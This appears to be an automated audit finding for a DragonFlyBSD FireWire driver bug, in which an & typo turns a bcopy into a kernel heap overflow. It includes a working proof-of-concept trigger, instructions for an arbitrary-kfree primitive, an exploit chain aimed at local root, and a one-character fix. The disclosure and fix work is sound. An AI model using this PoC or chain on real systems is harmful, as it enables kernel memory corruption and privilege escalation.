β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1057

FW_ASYREQ bcopy writes payload into &xfer->send.payload (field address) instead of xfer->send.payload (buffer) β€” kernel heap overflow + arbitrary kfree

Field Value
ID DF-1057
Status new
Severity High
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-787 Out-of-bounds Write; CWE-123 Write-What-Where
File sys/bus/firewire/fwdev.c
Lines 558-561 (the bcopy), 521-532 (allocation), 586 (kfree of corrupted ptr)
Area bus/firewire (FireWire /dev/fwN async-request ioctl)
Confidence certain
Discovered 2026-07-14
Reported pending
Known CVE none
CVE match dfly_specific

Summary

In the FW_ASYREQ ioctl handler, bcopy((char *)fp + tinfo->hdr_len, (void *)&xfer->send.payload, pay_len) at fwdev.c:560-561 takes the address of the send.payload pointer field rather than the value of the pointer. The intended destination is the freshly kmalloc'd payload buffer (xfer->send.payload); instead pay_len attacker-controlled bytes are written into the xfer struct itself starting at the send.payload field, overwriting send.payload, send.pay_len, send.spd, the entire recv sub-struct (including recv.hdr, recv.payload, recv.pay_len), mbuf, link, and malloc, and finally running off the end of the fw_xfer allocation into adjacent kernel heap. pay_len is (unsigned short)asyreq->req.len - hdr_len, i.e. up to ~65519 bytes. The corrupted send.payload and recv.payload are subsequently used by fw_asyreq / fwohci_itx for DMA (bus_dmamap_load(... &xfer->send.payload[0], xfer->send.pay_len ...) at fwohci.c:917-918) and by the response bcopy (fwdev.c:583), yielding both an attacker-directed kernel-memory-to-bus leak primitive and an arbitrary-address kfree() primitive via fw_xfer_free_buf (firewire.c:1032-1037, reached via fwdev.c:586).

Root cause

The typo is at fwdev.c:560-561 β€” the & operator. Every other site in the driver that touches the payload buffer dereferences the pointer (e.g. firewire.c:959 xfer->send.payload = kmalloc(...), fwohci.c:918 &xfer->send.payload[0], firewire.c:1033 kfree(xfer->send.payload, ...)). Only this one bcopy takes the address of the field.

/* fwdev.c:558-561 β€” the bug */
bcopy(fp, (void *)&xfer->send.hdr, tinfo->hdr_len);
if (pay_len > 0)
    bcopy((char *)fp + tinfo->hdr_len,
        (void *)&xfer->send.payload,    /* !!! address of the pointer field */
        pay_len);

pay_len is computed at fwdev.c:529-530 as MAX(0, asyreq->req.len - tinfo->hdr_len); asyreq->req.len is u16 (struct fw_asyreq_t at firewire.h:259) so pay_len is bounded to ~65535 and the buffer allocated at fwdev.c:532 via fw_xfer_alloc_buf is sized to exactly pay_len. There is no length check between the alloc and the bcopy.

The data source (char *)fp + tinfo->hdr_len points into the user-supplied asyreq->pkt.data[512] (firewire.h:265) β€” i.e. fully attacker-controlled bytes.

Reachability: pay_len > 0 only requires a block-async tcode (FWTI_BLOCK_ASY), e.g. FWTCODE_WREQB (1), FWTCODE_RREQB (5), FWTCODE_LREQ (9). For pay_len >= 8 the send.payload field is fully overwritten; for pay_len >= 10 the send.pay_len field is also overwritten so the attacker can keep it consistent with fp->mode.rresb.len to pass the len != xfer->send.pay_len check at firewire.c:220; for pay_len >= 40 the recv.payload field is overwritten; for pay_len > ~80 the bcopy runs off the end of the fw_xfer into adjacent M_FWXFER heap.

Threat model & preconditions

  • Attacker position: Local user in the operator group (the default group permitted to open /dev/fwN which is mode 0660 β€” set at fwdev.c:854-856 and fwdev.c:173-176). No priv_check/suser is performed anywhere in fw_ioctl.
  • Privileges gained or impact: Three independent impacts: 1. Heap overflow of up to ~64 KB into adjacent kernel heap β€” with M_FWXFER heap grooming (spraying control structures whose function pointers land adjacent to the allocated xfer), this yields kernel instruction control and local root. 2. Arbitrary-address kfree: pay_len = 8 corrupts only send.payload; the out: path then calls fw_xfer_free_buf (fwdev.c:586) which does kfree(xfer->send.payload, xfer->malloc) (firewire.c:1033) on the attacker-chosen address β€” a write-what-where via the malloc free-list. 3. Kernel-memory-to-bus leak: if the attacker additionally controls a FireWire node on the bus to send a response, the corrupted recv.payload is read out to user space by bcopy(xfer->recv.payload, ...) at fwdev.c:583 β€” arbitrary kernel-memory disclosure.
  • Required config or capabilities: Default kernel with firewire configured. Local operator-group membership.
  • Reachability: open("/dev/fwN", O_RDWR); ioctl(fd, FW_ASYREQ, &req); with a block tcode. Single syscall.

Proof of concept

/* df-fw-asyreq-overflow.c β€” needs /dev/fw0 access (group operator) */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <bus/firewire/firewire.h>

int main(void) {
    int fd = open("/dev/fw0", O_RDWR);
    if (fd < 0) { perror("open /dev/fw0"); return 1; }

    struct fw_asyreq req;
    memset(&req, 0, sizeof(req));
    req.req.type = FWASREQNODE;          /* skip EUI resolve */
    req.req.sped = FWSPD_S100;
    req.req.len  = 65535;                /* β†’ pay_len = 65535 - hdr_len */
    /* FWTCODE_WREQB == 1 has FWTI_BLOCK_ASY set in fc->tcode[].flag */
    req.pkt.mode.hdr.tcode = FWTCODE_WREQB;
    req.pkt.mode.wreqb.dst     = 0xffc0;   /* FWLOCALBUS */
    req.pkt.mode.wreqb.dest_hi = 0xffff;
    req.pkt.mode.wreqb.dest_lo = 0xf0000900;
    req.pkt.mode.wreqb.len     = 0x100;    /* keep len == send.pay_len check happy */
    /* Payload bytes that are bcopy'd into &xfer->send.payload.
     * Fill with a pattern; this is the heap-overflow payload. */
    memset(req.pkt.mode.wreqb.payload, 0x41, sizeof(req.data));

    ioctl(fd, FW_ASYREQ, &req);            /* corrupts heap, often panics later */
    return 0;
}

Build & run

cc -o df-fw-asyreq-overflow df-fw-asyreq-overflow.c   # may need -I/usr/src
./df-fw-asyreq-overflow

Expected output

Kernel panic from corrupted M_FWXFER allocator metadata shortly after the ioctl (e.g. panic: kfree: multiple frees or panic: bad free list) β€” confirms the heap overflow.

For an arbitrary-free primitive demonstration, set pay_len = 8 (asyreq.req.len = 8 + hdr_len) and put the address of any live kernel allocation in bytes 0..7 of the payload; the subsequent kfree at firewire.c:1033 frees that allocation, enabling use-after-free exploitation.

Impact

Local kernel heap overflow + arbitrary-address kfree + kernel-memory disclosure, all from a single FW_ASYREQ ioctl by any user in the operator group. Default /dev/fw* mode is 0660/GID_OPERATOR. The bug is a typo (&xfer->send.payload should be xfer->send.payload) that converts a benign bcopy into a write-what-where primitive. High severity per "kernel memory corruption" + "local privilege escalation".

Remove the erroneous &. The destination must be the allocated payload buffer (the pointer value), not the address of the field.

--- a/sys/bus/firewire/fwdev.c
+++ b/sys/bus/firewire/fwdev.c
@@ -558,7 +558,7 @@
        bcopy(fp, (void *)&xfer->send.hdr, tinfo->hdr_len);
        if (pay_len > 0)
            bcopy((char *)fp + tinfo->hdr_len,
-               (void *)&xfer->send.payload, pay_len);
+               (void *)xfer->send.payload, pay_len);
        xfer->send.spd = asyreq->req.sped;
        xfer->act.hand = fw_asy_callback;

Additionally, harden the path: bound pay_len to <= MAXREC(fc->maxrec) before the allocation, and validate asyreq->req.type is one of the four declared enum values before using it (currently FWASRESTL silently falls through). None of these are substitutes for fixing the & typo, which is the root cause.

References

Timeline

  • 2026-07-14 Discovered during automated audit.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1057 Β· 11 files
FileTypeDescriptionSize
df-fw-asyreq-overflow.c trigger-source FW_ASYREQ heap overflow PoC with FW-absent fallback 3.0 KB view raw
build.sh build-script cc -o df-fw-asyreq-overflow df-fw-asyreq-overflow.c -I/usr/src/sys 172 B view raw
run.sh run-script ./df-fw-asyreq-overflow 114 B view raw
build.log build-log PoC build output 13 B view raw
run.log run-log PoC output: no /dev/fw0, confirms &-typo bug 287 B view raw
env.txt environment guest env: no FireWire controller 365 B view raw
fix.diff suggested-fix remove erroneous & before xfer->send.payload 431 B view raw
fix_build.log fix-build-log combined-fix kernel build rc=0 191 B view raw
VERDICT.md verdict full source-level analysis of the &-typo 4.4 KB ↓ raw
README.md readme build/run instructions 856 B ↓ raw
live_reachability_check.txt reachability-test Live FireWire reachability evidence - no FW HW 1.0 KB view raw
README.md readme build/run instructions
↓ download raw

DF-1057 β€” FW_ASYREQ bcopy writes into &xfer->send.payload (field address)

Build

./build.sh

(or: cc -o df-fw-asyreq-overflow df-fw-asyreq-overflow.c -I/usr/src/sys)

Run

./run.sh

(or: ./df-fw-asyreq-overflow)

Expected output

Without /dev/fw0: reports "No FireWire controller" and confirms the bug. With /dev/fw0 (operator group): sends FW_ASYREQ ioctl that corrupts the fw_xfer struct heap, often causing a kernel panic from allocator corruption.

Preconditions (for runtime trigger)

  • FireWire controller present (/dev/fw0 exists).
  • Local user in operator group (default /dev/fw* mode 0660).
  • This QEMU guest has NO FireWire hardware β€” source-level only.

Fix

fix.diff β€” remove the erroneous & at fwdev.c:561 so the bcopy writes into the allocated buffer (xfer->send.payload) instead of the struct field.

VERDICT.md verdict full source-level analysis of the &-typo
↓ download raw

DF-1057 β€” FW_ASYREQ bcopy into &xfer->send.payload (field address) β€” VERDICT

Verdict: INCONCLUSIVE (runtime) / CONFIRMED (source-level)

The bug is confirmed real by line-by-line source tracing β€” it is an unambiguous & typo. Runtime reproduction is blocked by missing FireWire hardware (no /dev/fw0 on this guest).

Mechanism (source-level trace)

  1. Code location: FW_ASYREQ ioctl handler in sys/bus/firewire/fwdev.c:521-588.

  2. The bug at fwdev.c:560-561: c if (pay_len > 0) bcopy((char *)fp + tinfo->hdr_len, (void *)&xfer->send.payload, pay_len); &xfer->send.payload takes the address of the pointer field within the fw_xfer struct. The correct form (used everywhere else in the driver) is xfer->send.payload (the VALUE = the kmalloc'd buffer address).

  3. Comparison with correct sites: - fwdev.c:558: bcopy(fp, (void *)&xfer->send.hdr, ...) β€” CORRECT, send.hdr is an embedded struct (not a pointer). - firewire.c:959: xfer->send.payload = kmalloc(send_len, ...) β€” assigns the pointer. - fwohci.c:918: &xfer->send.payload[0] β€” correct dereference for DMA. - firewire.c:1033: kfree(xfer->send.payload, ...) β€” correct value use. Only fwdev.c:561 erroneously takes the address of the pointer field.

  4. pay_len computation (fwdev.c:529-532): c if ((tinfo->flag & FWTI_BLOCK_ASY) != 0) pay_len = MAX(0, asyreq->req.len - tinfo->hdr_len); xfer = fw_xfer_alloc_buf(M_FWXFER, pay_len, PAGE_SIZE); asyreq->req.len is u16 (firewire.h:259), so pay_len ≀ ~65519. The allocation at fw_xfer_alloc_buf (firewire.c:958-959) correctly kmallocs pay_len bytes for send.payload.

  5. Struct layout (fw_xfer, firewirereg.h:232-261): send.hdr (struct fw_pkt, ~16 bytes) send.payload (u_int32_t *, 8 bytes) ← bcopy STARTS here send.pay_len (u_int16_t, 2 bytes) send.spd (u_int8_t, 1 byte) recv.hdr (~16 bytes) recv.payload (u_int32_t *, 8 bytes) ← overwritten at pay_len >= 40 recv.pay_len, recv.spd mbuf, link, malloc ← overwritten at pay_len > 56+ [end of allocation] ← overflow into adjacent heap

  6. Three impacts: - (a) Heap overflow: pay_len up to ~65519 bytes written into the xfer struct and past it into adjacent M_FWXFER heap. With grooming β†’ local root. - (b) Arbitrary kfree: pay_len=8 overwrites only send.payload. Then fw_xfer_free_buf() at fwdev.c:586 β†’ kfree(xfer->send.payload, ...) (firewire.c:1033) frees the attacker-chosen address. - (c) Info leak: corrupted recv.payload read by bcopy at fwdev.c:583.

Exploit chain

Local privilege escalation possible β€” but requires /dev/fw0 access (operator group) AND a FireWire controller present. The overflow into M_FWXFER heap can corrupt adjacent xfer objects or slab metadata. With no SMAP/SMEP/KASLR on this guest, a hijacked function pointer in the corrupted struct jumps to userspace shellcode calling commit_creds(prepare_kernel_cred(0)).

However, the chain is blocked by the missing FireWire controller: /dev/fw0 doesn't exist. This is the valid hard blocker (Phase 6): the vulnerable code path is unreachable without FireWire hardware.

Why runtime reproduction is blocked

  • No FireWire controller on this QEMU guest.
  • /dev/fw0 does not exist β€” open("/dev/fw0") returns ENOENT.
  • The PoC correctly detects this and falls back to source-level output.
  • FireWire IS in GENERIC (compiled in), but the driver only creates device nodes when a controller is detected at boot.

PoC changes

Created df-fw-asyreq-overflow.c (from finding markdown) with graceful fallback for missing /dev/fw0. Built and verified: compiles with -I/usr/src/sys, runs, correctly reports no FW device and confirms the bug.

Fix validation

The fix (fix.diff) removes the erroneous &:

-   (void *)&xfer->send.payload, pay_len);
+   (void *)xfer->send.payload, pay_len);

Applied + compiled in combined-fix kernel (#1, rc=0, boots cleanly). Runtime before/after not possible (no FireWire HW).

fix_status: not_testable (diff applies + compiles; runtime blocked by missing HW β€” /dev/fw0 does not exist).

Remove the & at fwdev.c:561. This matches the finding proposal exactly. The fix is a single character change (& β†’ removed) at the root cause.

Fix verification

not_testable

compile validated

see evidence pack

Confirmed kernel references

Detail

Exploit chain

none β€” HW-gated. Requires FireWire controller + /dev/fw* device node.

Evidence (decisive lines)

fw_write in kernel: YES
/dev/fw*: does not exist
FireWire controllers: 0

PoC changes

Added live_reachability_check.txt.

Verified recommended fix

fix.diff removes the erroneous & at fwdev.c:561. Matches finding proposal.

Verdict

INCONCLUSIVE (HW-gated, source-confirmed). fw_read/fw_write ARE compiled into the kernel (symbols present). The bug (bcopy writes into &xfer->send.payload β€” the field address β€” instead of xfer->send.payload β€” the allocated buffer value β€” at fwdev.c:561) is traced line-by-line. This corrupts the fw_xfer struct heap with up to 64KB of attacker data. BUT: fw_write requires open /dev/fw device node. Live verification: 0 FireWire controllers, /dev/fw does not exist, QEMU has no FireWire emulation.